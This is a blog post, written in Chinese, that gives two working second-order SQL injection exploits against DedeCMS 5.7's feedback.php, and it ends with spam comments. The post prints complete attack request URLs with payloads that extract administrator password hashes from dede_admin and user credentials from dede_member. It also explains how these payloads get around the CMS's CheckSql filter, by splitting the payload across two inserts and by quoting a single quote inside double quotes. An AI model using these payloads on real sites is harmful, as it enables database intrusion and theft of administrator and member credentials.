Dedecms5.7正式版二次注入经典exp构造
0x01 前言
Long long ago,[email protected]发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法。
此文重在ewindows/" target="_blank" class="relatedlink">xp的构造,如需详细漏洞分析,请看:http://www.wooyun.org/bugs/wooyun-2010-018562
0x02 方法一:直接缩短法
理论:insert --> select -->insert -->select
Exp:(红色表示重点数据)
第一次insert
http://www.idianyun.com /dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
复制代码
第二次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=reply
&fid=27
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=angr
&title=1
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
复制代码
看出我们第一次insert的payload是:
1',"'",1,3,4,5,6,7,8,(select pwd from %23@__admin))%23
复制代码
数据库:
返回结果:
绕过具体代码分析:
01 function CheckSql($db_string,$querytype='select')
02 {
03 ·····(此处省略)
04 while (TRUE)
05 {
06 $pos = strpos($db_string, '\'', $pos + 1);
07 if ($pos === FALSE)
08 {
09 break;
10 }
11 $clean .= substr($db_string, $old_pos, $pos - $old_pos);
12 while (TRUE)
13 {
14 $pos1 = strpos($db_string, '\'', $pos + 1);
15 $pos2 = strpos($db_string, '\\', $pos + 1);
16 if ($pos1 === FALSE)
17 {
18 break;
19 }
20 elseif ($pos2 == FALSE || $pos2 > $pos1)
21 {
22 $pos = $pos1;
23 break;
24 }
25 $pos = $pos2 + 1;
26 }
27 $clean .= '$s$';
28 $old_pos = $pos + 1;
29 }
30 $clean .= substr($db_string, $old_pos);
31 //echo $clean;exit();
32 $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
33 ····(此处省略)
34 }
复制代码
上述检测代码作用就是替换sql语句中两个引号之间的内容为$s$
第二次insert的sql:
INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('1','0','test','1',"'",1,3,4,5,6,7,8,(select pwd from dede_admin))#','127.0.0.1','1','1367583435','2','0','0','feedback','6','asfsafsdaf')
复制代码
经过上述处理:
INSERT INTO
`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ($s$,$s$,$s$,$s$,"$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
复制代码
然后
function CheckSql($db_string,$querytype='select')
复制代码
得检测绕过了。
重点在关于单引号的处理,用双引号引上单引号,使单引号作为字符串,单引号在绕过注入检测起了重要作用,又使之在完整的insert不能发挥单引号作用,只作为字符串。
0x03 方法二:两次插入结合法
理论:insert --> select -->insert -->select
Exp:(红色表示重点数据)
第一次insert
http://127.0.0.1/dede/plus/feedback.php
?action=send
&comtype=comments
&aid=1
&isconfirm=yes
&cmtuser=admin
&msg=asfsafsdaf
&face=6
&validate=slep
&title=1',(char(@`'`)),/*
&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA
复制代码
第二次insert
http://127.0.0.1/dede/plus/feedback.php
?aid=1
&action=send
&comtype=reply
&fid=48
&isconfirm=yes
&validate=craf
&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23
复制代码
通过两次insert向数据库中插入payload的不同部分,然后组合起来成为一个完整的payload
第一次插入:
1',(char(@`'`)),/*
复制代码
第二次插入:
*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23<span style="color: rgb(51, 51, 51); font-family: 宋体; line-height: 28px; "> </span>
复制代码
组成最后完整的语句:
INSERT INTO
`#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('1','0','test','1',(char(@`'`)),/*','127.0.0.1','1','1367591176','2','0','0','feedback','0','@`\'`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)from#@__admin))')
复制代码
经过防注入函数处理:
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)
复制代码
完全没有问题绕过。
数据库:
返回结果:
0x03 结束语
如有错误希望指正,如有建议希望讨论。
go to my blog
Thanks for finally writing about > X-power ‘Blos - Dedecms5.7正式版二次注入经典exp构造 < Liked it!
navigate here
I think that what you said made a lot of sense. But, what about this?
what if you wrote a catchier title? I am not suggesting your information is not good, however suppose you added a title that grabbed a person's attention? I mean X-power ‘Blos - Dedecms5.7正式版二次注入经典exp构造
is kinda boring. You should glance at Yahoo's home page and watch how they create post headlines
to grab viewers to open the links. You might add a related video or a related pic or two
to get people excited about everything've got to say.
In my opinion, it would bring your posts a little
bit more interesting.